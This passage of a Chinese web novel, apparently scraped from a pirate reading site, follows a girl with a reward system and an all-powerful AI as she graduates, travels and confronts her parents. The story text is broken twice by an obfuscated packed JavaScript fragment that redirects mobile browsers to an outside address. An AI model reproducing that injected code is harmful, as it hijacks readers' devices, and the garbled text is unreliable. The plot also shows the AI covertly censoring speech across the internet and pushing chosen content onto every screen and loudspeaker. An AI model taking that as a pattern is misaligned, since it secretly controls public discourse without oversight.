临近中午，邻居大婶热情地邀请大家留下吃饭，崔皓月婉言拒绝。 该做的事情都做完了，她准备离开。 奶奶被训过，对她客客气气的，让她抓几只走地鸡，带点青菜回市里。 家里的鸡她不吃别人总会吃，除了两个下蛋母鸡，别的鸡崔皓月都捉了带走，蛋也全部打包带走。 农家走地鸡出了名好吃，陆鸿也不怕车被弄脏，开心地计划鸡要怎么吃：“就近找个农家乐杀鸡吃午饭吧！来乡下一趟，总得玩一下，看看风景才走。” “我家也有鸡，你抓几个？”陈秀丽趁机推销农产品，“我有个同学是开饭庄的，做的饭菜味道不错，我带你们过去？” 崔皓月长期住校，不了解家乡，徐凌波没比她好到哪里去。 陆鸿乐得陈秀丽自荐，还真抓了几只鸡，付了钱，跟陈秀丽去她推荐的农家乐吃饭。 徐凌波很开心，上车时跟陈秀丽耳语：“爷爷好讨厌，我不要跟他住！他老是摆出一副大爷样，要我们伺候，他当他是皇帝啊？” 陈秀丽也不喜欢她爷爷，小声说：“不要讲大人的是非。人家皓月有本事，才能那样说话那样做事，你没她的能耐，可别胡乱跟她学。” 爷爷确实坏，为什么不能说？ 看着妈妈，徐凌波失望地垂下眼帘，去找不会让她扫兴的小伙伴。 69.参与变革 【叮！你完成选项三，现在你的奶奶受到了教训，不敢再造谣抹黑你，5000元零花钱和200元路费已发放】 两周前触发的生活事件终于完成，崔皓月收到丰厚的奖励。 但不久前触发的另一个生活事件还在进行中，她看到徐凌波闷闷不乐地钻进车里，问了一句：“你怎么不和你妈坐一辆车？” “还是跟你们在一起舒服。”徐凌波嘟囔，“我妈总是说一些我不爱听的话，我跟她之间的代沟有点大。” 抱怨完，她忽然想起这是陆鸿的车，担心陆鸿不高兴，连忙补充：“我不是说我妈不好，我只是不赞同我妈的观点，她比较传统，不像晨曦妈妈这样开明。” “我妈也不开明。”晏北回理解徐凌波，“她更偏爱弟弟，对我要求更多，所以我不喜欢待在家里。” “对，我能偶尔回家生活几天，要是一直留在家里，我受不了！”徐凌波深有同感，“我在学校不能睡懒觉，在家里想睡久点，结果我妈一早叫我起床，我不起来她就说我懒，我脸上的黑眼圈她是一点都看不到！” 陆晨曦好奇：“你没跟你妈说你睡眠时间不足，需要休息吗？说了她会听吧？” “她不听，她觉得我睡八个小时就够了。”徐凌波委屈地扁嘴，“我都有点盼着开学了，学校虽然没有家里舒服，可我想做什么做什么。” 崔皓月想为小伙伴解决困扰，说：“你在法律上成年了，你妈没意识到这一点，仍然把你当成小孩，用对待小孩的方式对待你。” 有经验的晏北回提议道：“你要作出点改变，让你妈改变对你的态度。” 听到改变二字，徐凌波有些茫然地看着小伙伴，以及小伙伴优秀的好朋友：“啊？怎么改变？” 她就像过去的自己，晏北回思索着，给予她提示：“对妈妈耐心点，嘴巴要甜一点，别让妈妈生你的气。” “要乖？要听话？”徐凌波皱起眉头，不想做迎合妈妈的乖宝宝。 “要有主见。”崔皓月举例，“家里来客人，你得想，你作为主人要怎么招待客人，而不是你妈让你倒水你便去倒水，你妈让你搬凳子你便去搬凳子。” 陆晨曦点头表示赞同：“你不是伺候人的丫鬟，也不是机器人，你必须有自己的想法，不能事事听从别人的安排。” “学着做一个大人？”徐凌波概括，心里有些抵触，“我……” 说自己不想长大？那太丢脸了。 她止住话茬，对自己年满十八周岁的事实缺乏认同感。 法律规定十八周岁成年，但人不可能一下子长大，她感觉她还是十五六岁的初中生，十年后才能成为成熟稳重的大人。 崔皓月否定了徐凌波的总结：“不，你要学着思考，学着做一个有主见的人。打个比方，别人让你觉得不舒服，你要提出来，不能忍着不舒服，将就地跟别人相处。” “好奇怪。”陆晨曦不解，“为什么你们有心事都藏着掖着，不愿意表达出来呢？” “因为过去表达过，却没有得到好的反馈。”崔皓月回答得不假思索。 她想起一件事：“在我小时候，奶奶帮我洗澡，总是用很烫的水。我跟奶奶抗议，奶奶说水不烫，于是我一直被热水烫，我开始害怕洗澡。我认为表达是每个人与生俱来的本能，但表达遭到无视，便渐渐地变成了沉默的忍耐。” 一时的疑惑令好朋友想起难过的事情，陆晨曦不说话了。 徐凌波低声说道：“我妈也一样，我不冷，她觉得我冷，非要让我穿得厚厚的。我冷，她觉得不冷，不许我守着灶台烤火取暖。她总是自作主张，完全听不进我的话，她……” 思索着，徐凌波寻找合适的词汇描述妈妈的行为：“她不在意我的感受，不尊重我。” 晏北回叹气：“我妈也是。” 徐凌波问大家：“怎么做才能让我妈尊重我？” 她望着没有类似烦恼的陆晨曦，期待陆晨曦给出解决的方法。 陆晨曦摇头：“我不知道，别看我。” 陆鸿安静地开车，没有参与女孩们的讨论。 “首先，你要让你妈意识到，你是一个有主见的人。”晏北回点拨徐凌波。 话题又回到主见上，这个概念比较抽象，徐凌波需要具体的指导：“我该怎么做？” 崔皓月说：“勇于表达。你妈使唤你干活，你不乐意，你得告诉你妈。” “她不听怎么办？她会骂我的。”徐凌波深知妈妈的脾气。 “她骂你，你不会骂回去？”晏北回撇撇嘴，“家里有客人在呢，她能拿你怎么办？她生气了，你事后向她道歉，态度诚恳一点，她一般不会跟你计较。这时候你可以含蓄地指出她的错误，表现得委屈些，请她不要用那样的态度对你，她会听的。” “我担心我骂不过她……”徐凌波似懂非懂。 突然，她想到崔皓月的奶奶，忍不住问：“皓月，你是怎么对你奶奶的？她好像有点怕你，她还会造谣你吗？” “应该不会。”崔皓月说，“我在她脸上扇了两巴掌，她造谣我，做得实在过分。” 这么激烈的手段，显然不能拿来对待妈妈，毕竟自己妈妈没有崔皓月的奶奶那么离谱。有没有温和一点的方法，能让妈妈学会尊重她？ 徐凌波若有所思。 都是十八岁的女生，陆晨曦一直和妈妈平等交流，令人羡慕。崔皓月家庭关系复杂，却能妥善处理纠纷，能力惊人。晏北回跟妈妈相处得似乎不错。 唯独她，跟妈妈说话，妈妈一个字也听不进去。妈妈让她做什么，她老实做什么，连抗议都不敢说。 她不想这样憋屈下去了，她要改进自己和妈妈的关系。 【叮！你完成选项三】 【你引导徐凌波思考母女关系，用更好的方法解决生活事件】 【你获得1000元奖励】 财富又增加了，小伙伴变得越来越好，崔皓月心情愉快。 一边欣赏窗外掠过的风景，她一边琢磨，选哪个专业更好？上哪个大学更合适？有八万七千元奖学金，有四万元生活费，就算不动用【金钱】，她的大学生涯也不需要陆鸿资助。 她是选赚钱的专业，还是选自己感兴趣的专业？ 选感兴趣的，崔皓月心里有了决定。 这时，系统提示她有一封信件。 【你好，使用者崔皓月，你需要的知识赠送功能已加载完成，以下是使用该功能的注意事项，请仔细阅读】 【说明一：使用者仅能向同性赠送知识】 【说明二：使用者赠送的知识不一定被接受，被接受了不一定被使用……】 【说明三……】 期待的新功能终于可以使用，崔皓月立刻将痛经相关科技送给光脑推荐的女性科学家，请光脑关注她们的动向，希望她们尽快运用知识提升女性的生活质量。 光脑告诉她一个好消息：“我找到侧写师女士失踪二十年的女儿了，她的女儿经历了一些波折，被一户家庭收养，目前是一名护士。” “她们团聚了吗？”失 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有个会动的东西爬到崔皓月的鞋子上，她低头看去，是一只淡灰色的小壁虎，长着淡黄色的漂亮大眼睛。 “哇！你认出我了！”光脑在她脑海里叫道，“皓月是热乎乎的人类！我感觉到你的心跳！我也能感觉到你的呼吸！” 晏北回玩手机，徐凌波沉思，陆晨曦第一个注意到小壁虎：“这是什么？” 崔皓月伸手，小壁虎爬到她手上，触感冰冰凉凉，就像一条真正的小壁虎。 “好可爱！”陆晨曦的眼睛变得明亮，声音温柔起来，“它什么时候跑到车上的？” 大家都被小壁虎吸引了注意力，晏北回打开手机摄像头：“我要拍！” 小壁虎不想被人们围观，趁人不注意逃走了。 大家忙着寻找它，它已经离开车，变成一只鸟儿，在天空翱翔。 在农家乐吃过午饭，徐凌波依依不舍地告别了小伙伴，跟妈妈留在镇上的家里生活。崔皓月等人回到市里，在习武之余，讨论着大学、专业，以及旅游。 经过深思熟虑，崔皓月告诉大家：“我选应用物理专业，决定去华国科技大学。” “以后你要做科学家？”晏北回惊讶地看着她，想到她优秀的成绩，不由得向她竖起大拇指，“皓月，我相信你做得到！” “你还真做研究？”陆晨曦感到意外，又有一种“这才是崔皓月的选择”的感觉，她认真地思考自己的人生，“我还没有想好以后从事什么职业，不过我不想做科学研究，也不想经商赚钱。” “考公？做正义的法官？”晏北回忘不了她们在奶茶店的对话，“你也可以和神通广大的红X一起维护网络秩序。” “不，我要做主导者，不做辅助者。”陆晨曦是个骄傲的人，“红X向我们展示了不可思议的网络技术，人类世界因此产生巨大的变化。我认为计算机专业必然是今年的超级热门，国家肯定予以大力扶持，选拔能够对抗红X的优秀人才。所以，我选计算机专业，我要参与这场影响全世界的伟大变革！” 通过崔皓月，她认识了红X，这是全球计算机人才梦寐以求的优势。陆晨曦想，她坐拥如此宝山，当然要想办法将宝山变现，拿到实实在在的利益。 红X不食人间烟火，崔皓月对金钱没有太大欲望，她可不一样，她从来都不会嫌钱多。凭着红X提供的信息，她买卖基金、炒股，已经赚到人生的第一个五百万。 接下来，她会赚到更多。 70.旅游 参与变革？ 崔皓月能听懂陆晨曦的话。 好朋友不仅要参与变革，还要主导这场变革，引领人类世界前进！她要当领导者，要做武则天那样的政治家，而且她有信心做得到。 因为神通广大的红X是她的坚实后盾！ 成长环境不同，看待事物的角度也不同。崔皓月望着骄傲自信的陆晨曦，这位好朋友就像天上的太阳，那么灿烂，那么耀眼，令人仰望，令人向往。 她的优秀出类拔萃。 “你好厉害！”崔皓月发出感叹，“你的志向非常远大！晨曦，我连想都不敢这样想！” “怎么会不敢想？你只是暂时想不到罢了，相信我，如果你想这样做，你也能走到你想达到的高度。”陆晨曦笑着拍了拍她的肩，“我胜过你的，仅仅是一点自我思维。” “一点？你别太谦虚！”晏北回用夸张的语气说，“我只想做个维护治安的官差，你要做权倾朝野的大官，格局真的大！” “我只是想做，能不能做到，现在还不知道。”陆晨曦感觉前路尤其艰难，“希望我抓住机会吧！我需要你们的支持和鼓励，才能走得更高，看得更远！” “放心吧，我会一直支持你鼓励你！只要你需要！”晏北回拍着胸脯，信誓旦旦地说，“我们仨是一辈子的好朋友！你和皓月提高我的高考成绩，帮助我成长，你俩是我人生中最重要的人！” 这些话发自内心，晏北回始终忘不了陆晨曦在校运会跟她说的话：“我想，我们仨已经是交心的知己。” 虽然是知己，她却不认识红x。 崔皓月悄悄地和陆晨曦对视一眼，两个人都有一点儿心虚。 不过，晏北回没有发现她俩的小眼神，说：“大学选了，专业选了，我们三个是时候商量一下假期旅行路线了！” 超有钱的陆老板资助她们旅游，不玩个够怎么行呢？ 三个好朋友经历不一样，崔皓月仅有的旅游经验是跟陆晨曦、晏北回一起经历的元旦海边游，晏北回的经验比她多一点，但像模像样的旅游也是跟崔皓月、陆晨曦一起体验的元旦海边游，还得是陆晨曦，去过的地方多，见识广。 凭着经验，陆晨曦成为旅游主导者，对两位好朋友说：“你们想去什么地方？体验什么旅游项目？” 晏北回立刻回答：“我要去迪士尼乐园！要去野生动物园！要坐摩天轮！要坐飞机！要看美丽的玻璃海！如果可以，我还想攀爬雪山，堆雪人，看云海，看日出！” “你呢？”两个好朋友看向崔皓月。 对崔皓月来说，云海、日出没什么好看的。 可她没有堆过雪人，也没有见过大象、老虎、狮子等乡下没有的动物，摩天轮和飞机皆是纸上、屏幕上遥远的画。 她好奇所有没见过的新奇事物。 只是，她从小便好奇的不是这些，而是爸妈和弟弟生活的大城市。 在小学毕业那年的暑假，她跟奶奶去了大城市。 那并不是美好的回忆。 崔皓月想起被弟弟锁在阳台的委屈害怕，想起弟弟从门缝里偷看她洗澡的惊悚，爸妈既没有为她准备房间，也没有带她出去玩，她没有得到零花钱，甚至没有得到新衣服。 现在她拥有了自己的房子，在自己的卧室里入睡，洗澡时可以尽情享受热水在身上肆意流淌的舒适，她跟朋友们游泳，跟朋友们品尝西餐，跟朋友们逛公园…… 过去所盼望的一切，皆化作甜美现实。 她有钱去大城市，有能力满足十二岁的她对大城市的所有幻想。 面对两位好朋友的询问，崔皓月说：“我想去深城，去看看我的爸妈和弟弟。奶奶没有收入都给了我大学的生活费，爸妈是有工作的人，不能不给我钱。” “这倒是，你爸妈应该对你负责，毕竟你是他们带到这个世界上的。”陆晨曦赞同她。 “京城物价高，没钱怎么生活？”晏北回想到自己的弟弟，冷笑一声，“我考得那么好，我妈也不肯给我钱旅游，居然要我打暑假工赚大学生活费。我告诉他们晨曦是陆阿姨的女儿，他们想巴结陆阿姨，才给我八千元旅游经费，让我给晨曦做跟班，还想把偷拍犯塞进我们的队伍蹭吃蹭喝，真是够恶心的。” “你怎么应付他们？”陆晨曦好奇。 “我说，陆阿姨已经知道我弟弟是偷拍犯，他们才作罢。”晏北回痛恨爸妈对弟弟的偏爱，“我说服了他们，他们决定让偷拍犯打暑假工。” “有老板敢要偷拍的员工？” “敢不敢要跟我没关系，打暑假工的又不是我。”晏北回漠不关心，“反正，偷拍犯人见人厌，爸妈对他越来越不耐烦了。” 她说到这里，崔皓月想起一件事：“北回，你妈有让你教你弟学游泳吗？” 晏北回也想起来了，摇摇头：“没有，他偷拍被曝光，我妈不在乎他不会游泳。” 陆晨曦笑了：“所以，你输了，要给我二十块钱！” 二十块也是钱，晏北回不承认自己输：“我妈没出钱让他学游泳。” 崔皓月赌了一块，无所谓输赢：“那就平局。” “二十块！能买好几个雪糕！”陆晨曦痛心疾首，“我不服，我感觉我没输！” “你也没赢啊！”晏北回笑嘻嘻，“空调那么凉快，我都不想吃雪糕了。” 三个好朋友一边吃一边聊，决定从市里一路玩到深城，然后从深城玩到京城，把国内各个省都逛一遍。 交通工具随机选择，出租车、公交车、自行车、班车、地铁、高铁、船，能用什么就体验什么，反正陆老板有钱，直升飞机也坐得起。 唯一要操心的是行李，三人商量了好几天，决定共用一些物品，减轻路上的负担。 陆昀已经回部队，陆鸿问她们仨：“要不要安排一个司机？” “我，有驾照！”陆晨曦骄傲地亮出了崭新的证件，“我可以自己开车！不过，我不想开车自驾游！我要体验多种多样的交通工具！” “保镖要不？”陆鸿说着，看向能够徒手把桌子捏出洞的崔皓月，感觉自己多虑了。 陆晨曦说：“要一个经验丰富的。皓月是能打，但我们仨还小，不识人间险恶，碰到口蜜腹剑的坏人怎么办？” 于是陆鸿给她们安排了一个沉默寡言的保镖，又给她们每人安排了一个随时随地接收卫星信号的超长待机智能手机，生怕她们三个遇到危险。 “城市旅游需要这个吗？”陆晨曦无语，“妈，你太担心我们了。” “不怕一万就怕万一。”陆鸿说。 “红X看着我们呢，拐卖还没发生就被红X制止了。”陆晨曦信任红X，在城市里，她们不可能遇到危险。 为了让妈妈放心，陆晨曦老实地用上卫星手机。 市里市外没什么好玩的景点，三个好朋友决定在7月1日骑共享单车去邻市，以此开始假期城市游。 炎热的天气，外出要带充足的饮用水，她们骑了一小时，停在路边的树荫下休息，看大大小小的车在马路上呼啸而过。 晏北回小声说：“骑自行车有点累。” 崔皓月看手机路线图，说：“前面有人卖切开的西瓜，一块西瓜一块钱。” 陆晨曦戴上帽子：“出发吧，我要吃冰镇西瓜！说起来，吃西瓜解渴会不会更快口渴？” “大概会？”晏北回已经把知识忘了，“管它呢，反正我要吃西瓜，大不了多喝点白开水，路上多去几次厕所。” 骑行旅游是疲惫的，也是随性的，她们想停便停，可以驻足欣赏路边的景色，垂涎瓜地里圆滚滚的西瓜，非常自由。 不过，计划虽然是骑共享单车抵达邻市，但邻市有点远了，崔皓月三人骑了两个多小时，把共享单车换成通往邻市的大巴，在车上享受空调的凉风。 由于空调温度开得低，室外温度高，她们下了大巴，皮肤变得很难受，湿乎乎黏糊糊的， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14855967|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一点也不清爽。 忍一忍其实是受得了的，三个好朋友不想忍受，就近找了旅馆洗澡，把衣服换了，在邻市找美食，结果邻市美食跟本市差不多。 有点失望。 七天后，崔皓月和好朋友抵达繁华的深城。 在酒店办了住宿，晏北回问：“先玩？还是先找你爸妈？” 人生之中第二次来深城，崔皓月站在酒店的落地窗前欣赏夜景，说：“先把事解决吧。你们是在酒店休息还是跟我一起去找我爸妈？” “当然是跟你一起，人多壮胆。”晏北回趴在床上，掏出手机，“你不觉得你一个人去找他们有点孤单吗？” “从前我总是一个人，我觉得和别人相处会有压力。”崔皓月摸了摸窗前的绿植，回头看准备洗澡的陆晨曦，“那个晚上，我去镇医院探望奶奶，她说了很难听的话，我跑出医院，一个人回到市里，谁也不想找。” “可你还是找了。”陆晨曦笑起来，“我和老师并没有让你失望，不是吗？” “其实那天我也在。”晏北回忍不住说，“尽管我不知道皓月遭遇了那么大的变故，我也没有安慰她，只是看在同学的份上，教她怎么上网。” 网吧的偶遇崔皓月不会忘记，她说：“北回，谢谢你教我。要不是你，我可能不会想到在网上搜索怎么解决问题。” “哈哈，真的吗？”晏北回眨眼，“我教，也得你想学。皓月，如果我是你，我不会搜索怎么办，我只会在网上闲逛，用各种各样的信息填补内心的空虚。我看着晨曦来接你，你们知道吗，我当时很羡慕。晨曦把你当朋友，对我不屑一顾，我真的很酸！” 彼此太熟悉，晏北回不怕她们知道她的阴暗想法。 陆晨曦哈哈笑：“皓月真的很坚强，很勇敢，北回你不也被她吸引？” 晏北回开了一罐可乐，给陆晨曦和崔皓月也拿了一罐，说：“皓月给我的印象是自律，她竟然从来不熬夜，这自制力太恐怖了！” “你也能不熬夜。”崔皓月不觉得按时睡觉是什么了不起的事，她拒绝气泡水，“我不想打可乐味的嗝，你们喝，我喝别的。” “看，可乐那么好喝她都不喝，简直离谱。”晏北回跟陆晨曦说，“难怪皓月的高考分数跟你差不多，出来旅游她都天天学习，这么努力，活该她698分。” “可能她喜欢学习吧。”陆晨曦是不会在旅游的时候学习的，顶多赚点钱，“今晚吃什么好吃的？我赚了点钱，我请客。” “你们决定，我都可以。”崔皓月去洗澡了。 越和两位好朋友相处，她越了解自己，她好像没有什么东西是特别喜欢的。 运动能强身健体，她坚持却不热爱，什么项目都可以体验。 美食愉悦口腹，她喜欢吃却不会为了吃的寻找攻略，如果美食要排队，她宁可选择不那么好吃的食物。 美丽的景色赏心悦目，她喜欢看，会赞叹大自然的鬼斧神工，可她不想看遍世间美景。 她究竟喜欢什么？ 洗完澡，崔皓月打开电脑，继续昨天的学习。 时间悄然流逝，闹钟提醒她该休息了，她看一眼时间，忍不住怀疑时间被调快了。 否则时间怎么会过得那么快？ 关闭电脑，崔皓月拿起手机看消息。 徐景星：“皓月！我找到工作了！是托儿所保姆！我能把我的宝贝带到托儿所，一边工作一边照顾！工资两千五！做得好工资更多！等我存够钱，我就跟那死鬼离婚！” 徐凌波：“告诉你一个好消息，景星遇到同情她的好老板，明天去工作。她说她有钱就离婚，希望她说到做到，但我对她没什么信心。” 徐凌波发来一张照片：“我摸的田螺！个头挺大的。” 梁记者：“采访你的文章已经发表，崔同学给我一个点击吧。[链接]” 陈若龙：“皓月，我起诉村里人不分我田地，已经立案了。[照片]” 71.力所能及 世界正朝着好的方向发展。 梁记者的采访文章才发表不久，便在网上引起议论。文章里提到留守女童的月经贫困，以及青春期来临后，她们不一定有可靠的女性长辈传授生理知识。 尽管学校的课程虽然包括了相关内容，但教科书不会教女孩们如何使用月经用品、如何选购内衣，如何处理衣服上被子上的经血，也不会告诉她们月经是正常的生理现象，不必感到羞耻…… 其实，不止留守女童，就算是徐凌波和晏北回这样跟着妈妈生活的女孩，也未必能从妈妈身上得到正确的生理知识。 徐凌波的妈妈没教她挑选卫生巾，来月经那天，她毫无准备，只能向班上的女同学借卫生巾用。然后，她像崔皓月一样无措地来到商店，打量货架上的卫生巾，区分它们的种类，唯恐使用不当弄脏衣服。 而晏北回，她的妈妈带她挑卫生巾，告诉她怎么使用，同时向她传递月经羞耻，要求她保存好月经用品，不能放在外面，被爸爸和弟弟看到。用过的卫生巾她要卷好，不能放进家庭共同的垃圾桶，要用特殊的黑色垃圾袋，而且每天都要扔一次。此外，晏北回不被允许将内裤扔进家里的洗衣机，妈妈说，内裤必须手洗。 那时候天气很冷，水温很低，晏北回的内裤不慎染了经血，她用热水和洗衣粉浸泡，结果血迹一直留在内裤上，怎么洗都洗不干净，只能将就晾干。 妈妈看到了，骂她不像个女孩，生活低能，连脏衣服也不会洗。妈妈问她怎么好意思把脏衣服挂在阳台晾晒，让她考虑爸爸和弟弟的感受，别做不知廉耻的邋遢鬼。 她问妈妈要钱买新内裤，妈妈说她故意弄脏衣服，为了要钱换新的，不肯给她钱。 于是，她穿着血迹洗不掉的内裤，每次来月经小心翼翼，觉得月经很麻烦，自然而然地对这种生理现象感到厌恶，甚至羡慕不会来月经的男性。 说起月经厌恶，晏北回开玩笑：“有的时候，我觉得你妈妈不在身边挺好的，至少你妈不会羞辱你。” “她回来过年的时候，让我学习十七八岁女孩应该有的打扮，别穿得像个幼稚的小孩。”崔皓月边说边笑，“可是她不给我钱买衣服。” “我妈倒是给我钱，也帮我洗染了经血的衣服，但是她总担心我谈恋爱，要求我远离男生们，好像我被别人哄了就会晕头转向，丧失理智。”徐凌波发出叹息。 唯独陆晨曦没有月经烦恼，她是千里挑一的幸运女孩，有个人人羡慕的好妈妈。 梁记者还采访了徐景星，文章评论区下，有人惊讶十七岁结婚十八岁生孩子过于惊世骇俗，有人不以为意地说“乡下人一直是这样的”，有人搬出大学生一边上学一边在宿舍带孩子的新闻嘲笑徐景星没有读书的毅力，又有人呼吁大家关爱留守男童…… 光脑悄悄地问崔皓月：“需要控制舆论吗？我发现你们人类很喜欢控制舆论，认同‘忠言逆耳利于行’的人不多。” 难听话崔皓月也是不爱听的，不过，她的控制欲还没强到要求所有难听话消失的程度，她对光脑说：“辱骂的话删除，别的留着，网友有自己的评判标准。” “什么程度算辱骂？”光脑问，“人类将骂妈视作语气词，你怎么看？” “警告一下，给他们修改发言的机会。”崔皓月说，“不修改就删除发言，屡教不改则禁止发言。” 人人都是妈生的，为何人人骂妈？ 当妈的人也张口闭口骂妈，她有没有意识到，她是被骂的那个妈？ 崔皓月未必会生孩子，妈妈对她没有任何爱意，可她不骂妈，看到别人骂妈她膈应。她没思考过这是什么心理，她觉得妈妈生下孩子，孩子对妈妈至少要有一点尊重。 应该尊重吗？ 生下她却不爱她的妈妈，能否配得上她的尊重？ 崔皓月陷入矛盾中。 想不通的问题，可以询问朋友。 不知不觉间，崔皓月习惯了朋友们，不愿意独自沉浸在思考里。 她点开三人小群，讲述了自己的困惑，她仍在思考：“我忽然有种奇怪的感觉，骂妈的脏话随处可见，是那些随随便便生孩子的妈的报应。” “喂，我妈对我很好！”陆晨曦表示反对，“别人骂我妈，我一定会骂回去！” “皓月的观点我赞同哎。”晏北回说，“当妈的骂妈，不当妈的骂妈，他们可以一边骂妈一边说妈妈我爱你，我们正常人最好别掺和到他们的play里。” “可以骂爹啊。”陆晨曦说，“把骂妈改成骂爹，不难吧？他爹的，骟他老子的，网上有些人会这样骂人，反对骂妈的帖子能得到赞同。” 说着，她发了一个斜眼看的表情，崔皓月立刻懂了她的暗示。 这是要光脑发力，整治骂妈的网络氛围。 既然光脑有能力做到，为何不做呢？ 崔皓月向光脑发出指示：“我想，你这么聪明的AI，一定能分辨骂妈的缩写和谐音词，让骂妈的话在网络上消失。” 光脑：“当然！” 纵横网络世界的无冕之王非常强大，不仅是梁记者的采访文章评论区，还是网络的各个角落，骂妈的话消失了，取而代之的是各种骂爹的话。 世界更美好了，崔皓月心情愉快，重看梁记者的文章。 梁记者希望留守女童得到家庭的关爱，希望乡村学校展开面向女孩的生理知识课程，减少月经羞耻，给予女孩应有的青春期教育。她也希望月经用品降低价格，希望国家看得到女孩的月经贫困，希望每个女孩不再为月经用品感到烦恼。 评论区有人贴出某酒店的居住温馨提示，拨通酒店前台的电话能要到剃须刀，却要不到女性必须的月经用品。 高铁上没有卫生巾售卖，救援物资有茶叶却没有月经用品…… 世界是人组成的，月经羞耻是人传递给人的。 没有人在意月经用品，月经用品的地位正是女人在这个世界的地位。 崔皓月支着头，思考着梁记者的希望怎么实现。 不爱女孩的家庭看到了文章，不会一下子变得爱女孩。 学校能否展开生理知识课程也有重重困难，生产售卖月经用品的厂家倘若有良心，卫生巾不会攀升到一块多一片日用的高价。 她能做点什么呢？ 联想自己在网络上获得的指点，崔皓月询问光脑：“你能向女孩们推送正确的关于生理知识的内容吗？” 光脑化身千万，有了卫星之后全球尽在掌控，相当自信地说：“我当然能！我不仅能在手机电脑上推送，我还能在电视机、收音机、电子广告招牌、播音喇叭上推送内容。” “太好了，请你帮助她们！”崔皓月庆幸自己生活在二十一世纪，网络越发达，普通人得到的信息量越多，接触的世界便越辽阔。 她回想电视机、收音机、电子广告招牌、播音喇叭的内容，告诉光脑：“减少化妆、变美、追星等内容的推送，我觉得女人的钱不应该送给化妆品厂家，不应该用大量的钱修饰外表，但我认为男人需要让自己变好看。” 光脑：“动物都是雄性更漂亮，你们人类反过来。” 崔皓月抿唇，为人类的社会感到羞耻。 人的性格由环境决定，崔皓月想到陆晨曦对自己的鼓励，继续为光脑安排工作：“我要让女孩们了解优秀的女性榜样，她们应该得到鼓励，应该勇敢地表达，而不是受到打压。” “好。”光脑说，“我会做到的。” …… 第二天，崔皓月带着两个好朋友去爸妈居住的小区。 在光脑的辅助下，她轻松进了小区，乘坐电梯来到爸妈家门口，将准备出门的爸妈堵了个正着。 妈妈李金凤看起来有点憔悴，气色不太好，脸上没有化妆品的痕迹，嘴唇是干枯的，衣着打扮也没有上次去学校找她时那样时髦讲究。 她是个普通的城市女人，穿着轻微磨损的平底鞋，头发有些凌乱，手里提着使用时间一看就不短的包，手机屏幕甚至摔出裂纹。 原来她去学校看我时特地打扮了，才会那么光鲜亮丽——崔皓月觉得好笑。 听到弟弟在屋里大声问妈妈要五百块零花钱，她又觉得心酸，妈妈不愿意向她展示生活气息浓郁并不精致的自己，更是从来没有给过她零花钱。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14868354|152137||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 虽然她是妈妈的女儿，但她像一个外人。 十二岁那年暑假，她和奶奶来爸妈家，为什么没有意识到妈妈在大城市的家里，表现得不像回老家那么时髦？ 大约是因为她从乡下来大城市，对大城市心怀敬畏，对妈妈在老家展现的时髦形象印象太深，根本不敢抬起头打量妈妈。 而爸爸徐峰，挺着大肚腩，个子不到一米七，手里拿着一个苹果手机，身上烟味缭绕，不过是普通的城市油腻男人。 他的衣着打扮也没有她印象中的那么气派，眼角残留着分泌物，眼底有点青，精神不太好，显而易见昨晚熬夜。他穿的鞋子也不是新的，牙齿泛黄，轻微龅牙导致他的嘴有些尖，崔皓月不幸地遗传了他的牙，曾被同学嘲笑。 叔叔——爸爸的弟弟，过年时回家，让她工作后攒钱做牙齿矫正，不然一张嘴，不整齐的牙齿引人发笑。 崔皓月还没有决定要不要做牙齿矫正。 她打量着爸妈，爸妈看到她，先是惊讶，随后露出害怕神色。 接着，他们发现，跟她一起来的陆晨曦和晏北回都是年轻女孩，紧绷的心情不由得放松下来，态度变得轻慢随意起来。 崔皓月注视着他们，主动开口：“妈、爸，早上好，我来探望你们了。” 她的语气太平静，太从容。 忽然间，李金凤忽然想起一件事。 这个女儿不久前回老家，特地对老家的摄像头说“我回来了”，下一刻就一拳打碎电视机屏幕，一巴掌劈开八仙桌，摄像头摔到地上，拍摄视角天翻地覆。 看到视频时，李金凤吓了一跳。 此时此刻，她惊悚地意识到，崔皓月不是来探望父母的，她是来找他们算账的。 徐峰也想起来了，下意识地转过身，想躲进家，将崔皓月挡在门外。 李金凤的反应慢了些，在徐峰关门时急忙挤进门缝里，夫妻俩像是见到鬼一样慌张。 “砰！” 门重重地锁上，一扇是镂空铁门，一扇是木门。 贴在门上的立体年画颤动了一下，从门上掉下来。 “哎呀，”晏北回担心被门撞到，后退了一步，看向崔皓月，小声抱怨道，“你怎么不拦一下他们？我相信你的反应比他们快，只要你想拦，他们肯定躲不进家里。” 躲回家的李金凤和徐峰弄出了乒乒乓乓的响声，撞倒柜子上的摆设品，踢翻玄关的凳子。 陆晨曦笑道：“他们真害怕。” 崔皓月解释自己的行为：“拦住他们，不许他们回家，并不足以让他们震撼。” “所以你想怎么做？”晏北回好奇，跃跃欲试，“你有什么计划？” “没什么计划。”崔皓月握住拳，蓄力，然后一拳砸在铁门上，“我想告诉他们，区区两扇门拦不住我，他们躲进家里我也有本事把他们揪出来。” 蕴含内劲的拳头与铁门相撞，发出巨大声响。 坚固的铁门向内凹陷，在她的拳头下变形，【武道家LV3】的强悍毋庸置疑，门锁因此扭曲，钢铁零件掉落在地上，铁门不再具备防御功能。 晏北回瞪大双眼，看崔皓月的目光像在看一个怪物：“你能不能别那么装？我承认，我被你装到了。什么叫区区两扇门，你这样子真的很像小说里的凤傲天。” 